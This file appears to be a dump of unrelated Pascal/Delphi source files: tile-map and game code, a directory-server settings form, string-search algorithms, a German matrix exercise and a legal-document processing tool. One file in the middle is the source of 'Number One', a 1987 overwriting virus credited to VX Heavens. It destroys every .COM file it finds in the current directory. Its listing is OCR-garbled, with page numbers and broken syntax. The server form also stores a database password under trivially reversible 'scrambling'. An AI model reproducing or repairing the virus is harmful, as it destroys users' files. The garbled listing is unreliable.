and (FMap[Y - 1][X - 1][lrTerrain] = -1) then
FMap[Y - 1][X - 1][lrTerrain] := 0;
// Top Right
if (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y - 1][X + 1][lrTerrain] = -1) then
FMap[Y - 1][X + 1][lrTerrain] := 3;
// Down Right
if (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y + 1][X + 1][lrTerrain] = -1) then
FMap[Y + 1][X + 1][lrTerrain] := 15;
// Down Left
if (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y + 1][X - 1][lrTerrain] = -1) then
FMap[Y + 1][X - 1][lrTerrain] := 12;
// Left Top Cor
if (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y][X - 1][lrTerrain] in GroundSet)
and (FMap[Y - 1][X][lrTerrain] in GroundSet)
and not (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
FMap[Y - 1][X - 1][lrTerrain] := -5;
// Right Top Cor
if (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y][X - 1][lrTerrain] in GroundSet)
and not (FMap[Y - 1][X][lrTerrain] in GroundSet)
and (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
FMap[Y - 1][X][lrTerrain] := -4;
// Left Down Cor
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y][X - 1][lrTerrain] in GroundSet)
and (FMap[Y - 1][X][lrTerrain] in GroundSet)
and (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
FMap[Y][X - 1][lrTerrain] := -3;
// Right Down Cor
if not (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y][X - 1][lrTerrain] in GroundSet)
and (FMap[Y - 1][X][lrTerrain] in GroundSet)
and (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
FMap[Y][X][lrTerrain] := -2;
// Left Top Right Down Cor
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y][X - 1][lrTerrain] in GroundSet)
and not (FMap[Y - 1][X][lrTerrain] in GroundSet)
and (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
begin
FMap[Y - 1][X][lrTerrain] := -4;
FMap[Y][X - 1][lrTerrain] := -3;
end;
// Right Top Left Down Cor
if not (FMap[Y][X][lrTerrain] in GroundSet)
and (FMap[Y][X - 1][lrTerrain] in GroundSet)
and (FMap[Y - 1][X][lrTerrain] in GroundSet)
and not (FMap[Y - 1][X - 1][lrTerrain] in GroundSet) then
begin
FMap[Y][X][lrTerrain] := -2;
FMap[Y - 1][X - 1][lrTerrain] := -5;
end;
end;
end;
procedure TMap.MakeMiniMap;
var
X, Y: Byte;
begin
MiniMap.Free;
MiniMap := TBitmap.Create;
Minimap.PixelFormat := pf16bit;
Minimap.Width := Width;
Minimap.Height := Height;
with Minimap.Canvas do
for X := 0 to Width - 1 do
for Y := 0 to Height - 1 do
if (FMap[Y][X][lrTerrain] in GroundSet) then
Pixels[X,Y] := clGreen else
if (FMap[Y][X][lrTerrain] = -1) then
Pixels[X,Y] := clBlue
else
Pixels[X,Y] := clBlue;
end;
procedure TMap.LoadFromFile(const FileName: string);
var
X, Y, Z: Byte;
F: TStringList;
begin
Script.LoadFromFile(FileName);
F := TStringList.Create;
F.LoadFromFile(FileName);
for Z := 0 to SerializableLayers - 1 do
for Y := 0 to Height - 1 do
for X := 0 to Width - 1 do
FMap[Y][X][Z] := Ord(F[(Z * Height) + Y][X + 1]) - 40;
F.Free;
MakeMiniMap;
end;
procedure TMap.SaveToFile(const FileName: string);
var
S: string;
X, Y, Z: Byte;
F: TStringList;
begin
F := TStringList.Create;
for Z := 0 to SerializableLayers - 1 do
for Y := 0 to Height - 1 do
begin
S := '';
for X := 0 to Width - 1 do
S := S + Chr(FMap[Y][X][Z] + 40);
F.Append(S);
end;
Script.SaveToFile(FileName);
F.SaveToFile(FileName);
F.Free;
end;
procedure TMap.SetHeight(const Value: Integer);
begin
FHeight := Value;
end;
procedure TMap.SetPath(Pt: TPoint; Value: ShortInt);
begin
SetPath(Pt.X, Pt.Y, Value);
end;
procedure TMap.SetPath(X, Y: Byte; Value: ShortInt);
begin
if CellInMap(X, Y) then
FMap[Y][X][lrPath] := Value;
end;
procedure TMap.SetWidth(const Value: Integer);
begin
FWidth := Value;
end;
procedure TMap.Terrain;
var
X, Y: Byte;
begin
for Y := 1 to Height - 2 do
for X := 1 to Width - 2 do
if (FMap[Y][X][lrTerrain] in GroundSet) then
FMap[Y][X][lrTerrain] := GetGroundSet;
end;
initialization
Map := TMap.Create;
finalization
Map.Free;
end.
|
unit MainWindow;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ComCtrls, StdCtrls, DirectoryServer, Db, ADODB;
type
TDirectoryWin = class(TForm)
Image1: TImage;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
Label3: TLabel;
DBName: TEdit;
Label1: TLabel;
SecurePort: TEdit;
Start: TButton;
UnsecuredPort: TEdit;
Label2: TLabel;
SessionTimer: TTimer;
Label4: TLabel;
lbSections: TLabel;
Label5: TLabel;
IPAddress: TEdit;
TabSheet2: TTabSheet;
Label6: TLabel;
eUser: TEdit;
Label7: TLabel;
ePassword: TEdit;
procedure FormCreate(Sender: TObject);
procedure StartClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure SessionTimerTimer(Sender: TObject);
procedure eUserChange(Sender: TObject);
procedure ePasswordChange(Sender: TObject);
private
fSecureDirServer : TDirectoryServer;
fUnsecuredDirServer : TDirectoryServer;
fSessionTTL : TDateTime;
end;
var
DirectoryWin: TDirectoryWin;
implementation
uses
Registry, DirectoryRegistry, DirectoryManager;
{$R *.DFM}
function scramble(const str : string) : string;
var
b : byte;
i : integer;
begin
setlength(result, length(str));
for i := 1 to length(str) do
begin
b := ord(str[i]);
if b mod 2 = 0
then inc(b)
else dec(b);
result[i] := char(b);
end;
end;
function unscramble(const str : string) : string;
var
b : byte;
i : integer;
begin
setlength(result, length(str));
for i := 1 to length(str) do
begin
b := ord(str[i]);
if b mod 2 = 0
then inc(b)
else dec(b);
result[i] := char(b);
end;
end;
procedure TDirectoryWin.FormCreate(Sender: TObject);
var
Reg : TRegistry;
aux : string;
begin
fSessionTTL := EncodeTime(0, 5, 0, 0); // 5 Minutes to Live
try
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey( tidRegKey_Directory, false )
then
begin
aux := Reg.ReadString( 'FullName' );
if aux <> ''
then DBName.Text := aux;
aux := Reg.ReadString('DBUser');
if aux <> ''
then
begin
dbUser := aux;
eUser.text := aux;
end;
aux := unscramble(Reg.ReadString('DBPassword'));
if aux <> ''
then
begin
dbPassword := aux;
ePassword.Text := aux;
end;
aux := Reg.ReadString('SecurePort');
if aux <> ''
then SecurePort.Text := aux;
aux := Reg.ReadString('UnsecuredPort');
if aux <> ''
then UnsecuredPort.Text := aux;
aux := Reg.ReadString('IPAddress');
if aux <> ''
then IPAddress.Text := aux;
end;
finally
Reg.Free;
end;
except
end
end;
procedure TDirectoryWin.StartClick( Sender : TObject );
var
Reg : TRegistry;
begin
dbUser := eUser.Text;
dbPassword := ePassword.Text;
fSecureDirServer := TDirectoryServer.Create( StrToInt( SecurePort.Text ) , DBName.Text, true );
fUnsecuredDirServer := TDirectoryServer.Create( StrToInt( UnsecuredPort.Text ), DBName.Text, false );
Start.Enabled := false;
if Sender <> self
then Application.Minimize;
SessionTimer.Enabled := true;
try
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey(tidRegKey_Directory, true)
then
begin
Reg.WriteString('FullName', DBName.Text);
Reg.WriteString('DBUser', DirectoryManager.dbUser);
Reg.WriteString('DBPassword', scramble(DirectoryManager.dbPassword));
Reg.WriteString('SecurePort', SecurePort.Text);
Reg.WriteString('UnsecuredPort', UnsecuredPort.Text);
Reg.WriteString('IPAddress', IPAddress.Text);
end;
finally
Reg.Free;
end;
except
end;
end;
procedure TDirectoryWin.FormShow( Sender : TObject );
begin
if uppercase(paramstr(1)) = 'AUTORUN'
then StartClick( self );
end;
procedure TDirectoryWin.SessionTimerTimer(Sender: TObject);
begin
try
lbSections.Caption := IntToStr(fSecureDirServer.SessionCount);
fSecureDirServer.CheckSessions(fSessionTTL);
except
end;
try
fUnsecuredDirServer.CheckSessions(fSessionTTL);
except
end;
end;
procedure TDirectoryWin.eUserChange(Sender: TObject);
begin
DirectoryManager.dbUser := eUser.Text;
end;
procedure TDirectoryWin.ePasswordChange(Sender: TObject);
begin
DirectoryManager.dbPassword := ePassword.Text;
end;
end.
|
unit ModPatternMatching;
interface
function BruteForcePos(s, p : string) : integer;
function BruteForcePos2(s, p : string) : integer;
function KnuthMorrisPratt(s, p : string) : integer;
procedure WriteAndResetStats;
implementation
var numComp : LONGINT;
function Eq(a,b : char) : boolean;
begin
inc(numComp);
Eq := a = b;
end;
procedure WriteAndResetStats;
begin
writeLn('Number of comparisons: ', numComp);
numComp := 0;
end;
function BruteForcePos(s, p : string) : integer;
var
i, j : integer;
pLen, sLen : integer;
pos : integer;
begin
pLen := Length(p);
sLen := Length(s);
i := 1;
pos := 0;
while (i <= sLen - pLen + 1) and (pos = 0) do begin
j := 1;
while (j <= pLen) and Eq(s[i],p[j]) do begin
inc(j);
inc(i);
end;
if j > pLen then
pos := i - j + 1
else
i := i - j + 1 + 1;
end;
BruteForcePos := pos;
end;
function BruteForcePos2(s, p : string) : integer;
var
i, j : integer;
pLen, sLen : integer;
pos : integer;
startI : integer;
begin
pLen := Length(p);
sLen := Length(s);
i := 1;
j := 1;
startI := 1;
pos := 0;
repeat
if Eq(p[j], s[i]) then begin
Inc(i);
Inc(j);
end else begin
(*mischtmatscht*)
i := i - j + 2;
startI := i;
j := 1;
end;
if j > pLen then pos := startI;
until (pos > 0) or (i > sLen);
BruteForcePos2 := pos;
end;
function KnuthMorrisPratt(s, p : string) : integer;
var
next : array[1..255] of integer; (*allow access in initNext*)
procedure initNext;
var i, j : integer;
begin
next[1] := 0;
i := 1;
j := 2;
repeat
if Eq(p[i], p[j]) then begin
next[j] := i;
inc(i);
inc(j);
end else begin
next[j] := i;
i := 1;
inc(j);
end;
until j > length(p);
end;
var
i, j : integer;
pLen, sLen : integer;
pos : integer;
begin
pLen := Length(p);
sLen := Length(s);
initNext;
i := 1;
j := 1;
pos := 0;
repeat
if Eq(p[j], s[i]) then begin
Inc(i);
Inc(j);
end else begin
j := next[j];
if j = 0 then begin
j := 1;
inc(i);
end;
end;
if j > pLen then pos := i - j + 1;
until (pos > 0) or (i > sLen);
KnuthMorrisPratt := pos;
end;
begin
numComp := 0;
end.
|
unit Document_F1Lite_Controls;
{* Урезанные "сущности" для таких форм как документ-схема }
// Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\View\Document_F1Lite_Controls.pas"
// Стереотип: "VCMControls"
// Элемент модели: "F1Lite" MUID: (49885BF10395)
{$Include w:\garant6x\implementation\Garant\nsDefine.inc}
interface
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
uses
l3IntfUses
{$If NOT Defined(NoVCM)}
, vcmExternalInterfaces
{$IfEnd} // NOT Defined(NoVCM)
;
const
en_Edit = 'Edit';
en_capEdit = 'Правка';
op_ToggleFoundWords = 'ToggleFoundWords';
op_capToggleFoundWords = 'Подсвечивать найденный контекст';
en_Text = 'Text';
en_capText = '';
op_AddToControl = 'AddToControl';
op_capAddToControl = 'Поставить на контроль';
en_Selection = 'Selection';
en_capSelection = '';
op_ShowCorrespondentListToPart = 'ShowCorrespondentListToPart';
op_capShowCorrespondentListToPart = '';
op_ShowRespondentListToPart = 'ShowRespondentListToPart';
op_capShowRespondentListToPart = '';
var opcode_Edit_ToggleFoundWords: TvcmOPID = (rEnID : -1; rOpID : -1);
var opcode_Text_AddToControl: TvcmOPID = (rEnID : -1; rOpID : -1);
var st_user_Text_AddToControl_RemoveFromControl: TvcmOperationStateIndex = (rID : -1);
{* -> Поставить на контроль <-> Снять с контроля }
var opcode_Selection_ShowCorrespondentListToPart: TvcmOPID = (rEnID : -1; rOpID : -1);
var opcode_Selection_ShowRespondentListToPart: TvcmOPID = (rEnID : -1; rOpID : -1);
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
implementation
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
uses
l3ImplUses
{$If NOT Defined(NoVCM)}
, vcmOperationsForRegister
{$IfEnd} // NOT Defined(NoVCM)
{$If NOT Defined(NoVCM)}
, vcmOperationStatesForRegister
{$IfEnd} // NOT Defined(NoVCM)
;
initialization
with TvcmOperationsForRegister.AddOperation(TvcmOperationForRegister_C(en_Edit, op_ToggleFoundWords, en_capEdit, op_capToggleFoundWords, False, False, opcode_Edit_ToggleFoundWords)) do
begin
end;
with TvcmOperationsForRegister.AddOperation(TvcmOperationForRegister_C(en_Text, op_AddToControl, en_capText, op_capAddToControl, False, False, opcode_Text_AddToControl)) do
begin
with AddState(TvcmOperationStateForRegister_C('RemoveFromControl', st_user_Text_AddToControl_RemoveFromControl))^ do
begin
rCaption := 'Снять с контроля';
rChecked := vcm_osfTrue;
end;
end;
with TvcmOperationsForRegister.AddOperation(TvcmOperationForRegister_C(en_Text, op_AddToControl, en_capText, op_capAddToControl, False, False, opcode_Text_AddToControl)) do
begin
end;
with TvcmOperationsForRegister.AddOperation(TvcmOperationForRegister_C(en_Selection, op_ShowCorrespondentListToPart, en_capSelection, op_capShowCorrespondentListToPart, False, False, opcode_Selection_ShowCorrespondentListToPart)) do
begin
end;
with TvcmOperationsForRegister.AddOperation(TvcmOperationForRegister_C(en_Selection, op_ShowRespondentListToPart, en_capSelection, op_capShowRespondentListToPart, False, False, opcode_Selection_ShowRespondentListToPart)) do
begin
end;
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
end.
|
{ This file passed through VX Heavens http://vx.org.ua
-----------------------------------------------------------------
Number One
This is a very primitiv computer virus.
HANDLE WITH CARE! ----------- demonstration ONLY!
Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a <Smile>.
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;
{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
- 214 -
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}
MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}
Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }
--Program code-------------------------------------------------------
Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}
if Post ('\', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '\';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
- 215 -
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write('<Smile>'); { Give a smile}
End.
|
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, ddFileIterator, ExtCtrls, ddAppConfigTypes, l3Filer, k2TagGen,
l3Types, l3LongintList;
type
TMainForm = class(TForm)
ProgressBar1: TProgressBar;
WorkSpace: TPanel;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
f_Config: TddAppConfigNode;
f_Files: TddFileIterator;
f_Gen: Tk2TagGenerator;
f_InFiler: Tl3DOSFiler;
f_OutFiler: Tl3DOSFiler;
procedure Progress(aState : Byte; aValue : Long; const aMsg : String = '');
function Str2List(const aStr: String): Tl3LongintList;
{ Private declarations }
public
procedure DestroyPipe;
procedure FreeFileList;
procedure LoadFileList;
procedure MakePipe;
function workUpFile(const aFileName: String): Boolean;
procedure WorkupFiles;
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.dfm}
Uses
ddHTInit, ddAppConfigUtils, l3Base, evdReader, evdWriter, dd_lcCaseCodeGenerator,
ddAutoLinkFilter, l3FileUtils, rxStrUtils;
procedure TMainForm.Button1Click(Sender: TObject);
begin
Button1.Enabled:= False;
try
f_Config.GetControlValues;
if InitBaseEngine(f_Config.Items[0].StringValue, f_Config.Items[1].StringValue, f_Config.Items[2].StringValue) then
begin
MakePipe;
try
ForceDirectories(f_Config.Items[4].StringValue);
LoadFileList;
WorkupFiles;
ShowMessage('Номера дел и ссылки успешно расставлены');
finally
FreeFileList;
destroyPipe;
DoneClientBaseEngine;
end;
end
else
ShowMessage('не удалось подключиться к базе данных');
finally
Button1.Enabled:= True;
end;
end;
procedure TMainForm.Button2Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.DestroyPipe;
begin
l3Free(f_Gen);
l3Free(f_OutFiler);
l3Free(f_InFiler);
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
//AfwHackControlFont(Self);
f_Config:= MakeNode('Config', 'Настройки',
{0}MakeFolderName('Путь к базе', '',
{1}MakeString('Пользователь', '',
{2}MakeString('Пароль', '', '*',
// дальше просто параметры
{3}MakeFolderName('Папка с исходными данными', '',
{4}MakeFolderName('Папка с обработанными данными', '',
// {5}MakeFileName('Список кодексов', '*.csv', '',
// {6}MakeFileName('Список ФЗ', '*.csv', '',
{5}makeString('Список Исходящих органов', '211;214;215;216;217;218;219;220;221;222;223;224',
nil))))))){))};
f_Config.LabelTop:= False;
f_Config.CreateFrame(WorkSpace, 0);
f_Config.Load(MakedefaultStorage);
f_Config.SetControlValues(False);
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
f_Config.GetControlValues;
f_Config.Save(MakedefaultStorage);
l3Free(f_Config);
end;
procedure TMainForm.FreeFileList;
begin
l3Free(f_Files);
end;
procedure TMainForm.LoadFileList;
begin
f_Files:= TddFileIterator.Make(f_Config.Items[3].StringValue, '*.evd');
f_Files.OnProgress:= Progress;
end;
procedure TMainForm.MakePipe;
var
l_List: Tl3LongintList;
begin
// TODO -cMM: TMainForm.MakePipe необходимо написать реализацию
{ Читалка_евд-Расстановщик_номеров-Расстановщик_ссылок_Писалка_евд }
f_Gen:= nil;
f_OutFiler:= Tl3DOSFiler.Create(nil);
TevdNativeWriter.setTo(f_Gen);
TevdNativeWriter(f_Gen).Filer:= f_OutFiler;
TevdNativeWriter(f_Gen).Binary := True;
with f_Config do
begin
l_List:= Str2List(Items[5].StringValue);
try
TddAutoLinkFilter.SetTo(f_Gen, l_List{Items[5].StringValue, Items[6].StringValue});
finally
l3Free(l_List);
end;
end;
f_InFiler:= Tl3DOSFiler.Create(nil);
TlcBufferedCaseCodeGenerator.SetTo(f_Gen);
TevdNativeReader.SetTo(f_Gen);
TevdNativeReader(f_Gen).Filer:= f_InFiler;
end;
procedure TMainForm.Progress(aState : Byte; aValue : Long; const aMsg : String = '');
begin
case aState of
0:
begin
ProgressBar1.Max:= aValue;
ProgressBar1.Position:= 0;
end;
1,2: ProgressBar1.Position:= aValue;
end;
Application.ProcessMessages;
end;
function TMainForm.Str2List(const aStr: String): Tl3LongintList;
var
i: Integer;
l_ID: Integer;
begin
Result:= Tl3LongintList.Make;
for i:= 1 to WordCount(aStr, [';',',']) do
begin
l_ID:= StrToIntDef(ExtractWord(i, aStr, [';',',']), 0);
if l_ID > 0 then
Result.Add(l_ID);
end;
end;
function TMainForm.workUpFile(const aFileName: String): Boolean;
begin
Result := True;
f_outFiler.FileName:= ConcatDirName(f_Config.Items[4].StringValue, ExtractFileName(aFileName));
f_InFiler.FileName:= aFileName;
f_Gen.Start;
try
(f_Gen as TevdNativeReader).Read;
finally
f_Gen.Finish;
end;
end;
procedure TMainForm.WorkupFiles;
begin
f_Files.IterateFiles(workUpFile);
end;
end.
|
unit TestClass;
interface
type
TTest = class
protected
ProtectedData: Integer;
public
PublicData: Integer;
function GetValue: string;
end;
implementation
uses
SysUtils;
function TTest.GetValue: string;
begin
Result := Format ('Public: %d, Protected: %d',
[PublicData, ProtectedData]);
end;
end.
|
program Matrix (input, output);
{ gibt die Zeilen- und Spaltennummer einer 3x4 Matrix von Integer-Zahlen aus }
const
ZEILENMAX = 3;
SPALTENMAX = 4;
type
tZeile = 1..ZEILENMAX;
tSpalte = 1..SPALTENMAX;
tMatrix = array [tZeile, tSpalte] of integer;
tZeilensumme = array [tZeile] of integer;
tSpaltensumme = array [tSpalte] of integer;
var
A : tMatrix;
B : tZeilensumme;
C : tSpaltensumme;
i : tZeile;
j : tSpalte;
Anzahl : integer;
begin
{ lesen der Matrixwerte in A }
Anzahl := ZEILENMAX * SPALTENMAX;
writeln('Geben Sie ', Anzahl, ' Werte ein: ');
for i := 1 to ZEILENMAX do
for j := 1 to SPALTENMAX do
readln (A[i, j]);
{ Berechnen der Zeilensumme in B }
for i := 1 to ZEILENMAX do
begin
B[i] := 0;
for j := 1 to SPALTENMAX do
B[i] := B[i] + A[i, j]
end;
{ Berechnen der Spaltensumme in C }
for j := 1 to SPALTENMAX do
begin
C[j] := 0;
for i := 1 to ZEILENMAX do
C[j] := C[j] + A[i, j]
end;
{ Drucken von A, B und C in geeigneter Form }
writeln; { Neue Leerzeile }
for i := 1 to ZEILENMAX do
begin
for j := 1 to SPALTENMAX do
write (A[i, j]:5);
writeln (B[i]:10)
end;
writeln; { Leerzeile }
for j := 1 to SPALTENMAX do
write (C[j]:5);
writeln
end. { Matrix }
|
Program Aufgabe8;
{$codepage utf8}
Uses sysutils;
Var Zahl1: integer = 1;
Zahl2: integer;
Kommazahl1: real = 3.14;
Kommazahl2: real;
String1: String = '2';
String2: String = '2.71';
String3: String;
String4: String;
Begin
WriteLn('Zahl1 = ', Zahl1, ', Kommazahl1 = ', Kommazahl1:1:2, ', String1 = "', String1, ', String2 = "', String2, '"');
String3 := IntToStr(Zahl1);
WriteLn('String3 = IntToStr(Zahl1); String3 = "', String3, '"');
String4 := FloatToStr(Kommazahl1);
WriteLn('String4 = FloatToStr(Kommazahl1); String4 = "', String4, '"');
Zahl2 := StrToInt(String1);
WriteLn('Zahl2 = StrToInt(String1); Zahl2 = ', Zahl2);
Kommazahl2 := StrToFloat(String2);
WriteLn('Kommazahl2 = StrToFloat(String2); Kommazahl2 = ', Kommazahl2:1:2);
End. |
unit gm_map;
interface
uses
Classes, gm_engine, gm_patterns, gm_obj, gm_creature, gm_item, CustomMap;
type
TTile = record
Pat: TGroundPat;
FrameN: Byte;
end;
type
TGround = class(TCustomMap)
Tiles: array of array of TTile;
constructor Create;
procedure Draw;
procedure Clear(GroundName: string);
end;
type
TBullet = record
Pat : TItemPat;
Ang : Integer;
Dist : Single;
CPos : TPoint;
OPos : TPoint;
Owner : TCreature;
Enemy : TCreature;
RotAng : Integer;
end;
type
TMap = class(TCustomMap)
Ground : TGround;
Objects : TObjects;
Creatures : TList;
Fog : array of array of Byte;
Items : array of TItem;
ItemsCnt : Integer;
Bullets : array of TBullet;
BulletsCnt : Integer;
Fire : array of Tpoint;
FireTime : array of Integer;
FireCnt : Integer;
constructor Create;
destructor Destroy; override;
procedure Draw;
procedure Update;
function CreateCreature(CrName : String; P: TPoint) : TCreature;
function GetCreature(A: TPoint) : TCreature;
procedure UpdateFog(A: TPoint; R: Integer);
function LineOfSign(A, B: TPoint; UpdFog : Boolean) : Boolean;
procedure DrawMinimap(x, y : Integer);
procedure CreateItem(ItemPat : TItemPat; Count, tx, ty : Integer; Suffix, Material: string);
function UseItemsOnTile(ItemPat: TItemPat; Count: Integer; Suffix, Material: string; T: TPoint) : Boolean;
procedure MoveCreatures;
procedure CreateBullet(BulletItemPat : TItemPat; Owner, Enemy : TCreature);
procedure Explosive(tx, ty : Integer);
procedure ExplosiveBombs;
end;
var
Map: TMap;
implementation
uses
PathFind, Resources, Utils, SceneInv;
constructor TGround.Create;
begin
inherited;
SetLength(Tiles, Width, Height);
end;
procedure TGround.Draw;
var
i, j: Integer;
Pat : TGroundPat;
begin
for j := 0 to Height - 1 do
for i := 0 to Width - 1 do
begin
if Tiles[i, j].Pat = nil then Continue;
Pat := Tiles[i, j].Pat;
Render2D(Pat.Tex, i * 32, j * 32, 32, 32, 0, 1);
end;
end;
procedure TGround.Clear(GroundName : String);
var
P: TGroundPat;
X, Y: Integer;
begin
P := TGroundPat(GetPattern('GROUND', GroundName));
if P = nil then Exit;
for Y := 0 to Height - 1 do
for X := 0 to Width - 1 do
Tiles[X, Y].Pat := P;
end;
constructor TMap.Create;
begin
inherited;
SetLength(Fog, Width, Height);
Ground := TGround.Create;
Ground.Clear('Floor');
Objects := TObjects.Create;
Creatures := TList.Create;
ItemsCnt := 0;
BulletsCnt:= 0;
FireCnt := 0;
end;
destructor TMap.Destroy;
var
i : Integer;
begin
Ground.Free;
Objects.Free;
for i := 0 to Creatures.Count - 1 do
TCreature(Creatures[i]).Free;
Creatures.Free;
inherited;
end;
procedure TMap.Draw;
var
i, j : Integer;
Cr : TCreature;
begin
Ground.Draw;
Objects.Draw;
for i := 0 to ItemsCnt - 1 do
if Items[i].Count > 0 then Item_Draw(@Items[i], Items[i].Pos.X * 32, Items[i].Pos.Y * 32, 0, 0, True);
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
if Cr.Life.IsMin then Continue;
if Fog[Cr.Pos.X, Cr.Pos.Y] <> 2 then Continue;
Cr.Draw;
end;
for i := 0 to BulletsCnt - 1 do
begin
if Bullets[i].Pat.FlyAng then Bullets[i].RotAng := Bullets[i].Ang - 45;
RenderSprite2D(Bullets[i].Pat.Tex, Bullets[i].OPos.X + 8, Bullets[i].OPos.Y + 8, 16, 16, Bullets[i].RotAng);
end;
for i := 0 to FireCnt - 1 do
RenderSprite2D(Resource[ttFire], Fire[i].X * 32, Fire[i].Y * 32, 32, 32, 0);
for j := 0 to Height - 1 do
for i := 0 to Width - 1 do
begin
if Fog[i, j] = 0 then Rect2D(i * 32, j * 32, 32, 32, $000000, 255, PR2D_FILL);
if Fog[i, j] = 1 then Rect2D(i * 32, j * 32, 32, 32, $000000, 150, PR2D_FILL);
end;
end;
procedure TMap.Update;
var
i, j, s, Dmg : Integer;
Cr : TCreature;
si : Single;
bool : Boolean;
T: TSlot;
begin
i := 0;
while i < BulletsCnt do
begin
Bullets[i].OPos.X := Bullets[i].OPos.X - Round(Cos(Bullets[i].Ang) * 5);
Bullets[i].OPos.Y := Bullets[i].OPos.Y - Round(Sin(Bullets[i].Ang) * 5);
if Bullets[i].Pat.Rot then Bullets[i].RotAng := Bullets[i].RotAng + 20;
Bullets[i].Dist := Bullets[i].Dist - 5;
if Bullets[i].Dist < 0 then
begin
Cr := GetCreature(Bullets[i].CPos);
if (Cr <> nil) then
begin
if Cr.HasEffect('Заморозка') then Cr.AddEffect('Заморозка', 1);
Dmg := 7;
if Bullets[i].Pat.Arrow then
begin
s := Bullets[i].Owner.GetParamValue('Сила');
Dmg := Bullets[i].Owner.GetParamValue('Лук');
Dmg := Round((s + 5) * 0.2 + (Dmg + 5) * 0.3 + Bullets[i].Pat.Damage.Min * 0.3);
end;
if Bullets[i].Pat.Pot then Elixir.Use(Bullets[i].Pat.EffectTag, Cr);
if Bullets[i].Pat.Rock then
begin
s := Bullets[i].Owner.GetParamValue('Сила');
Dmg := Bullets[i].Owner.GetParamValue('Метание');
Dmg := Round((s + 5) * 0.2 + (Dmg + 5) * 0.3 + Bullets[i].Pat.Damage.Min * 0.3);
end;
if (Bullets[i].Pat.Name = 'FIREBALL') then
begin
S := Bullets[i].Owner.GetParamValue('Магия');
Dmg := Round((s + 5) * 0.5 + (Dmg + 5) * 0.3);
end;
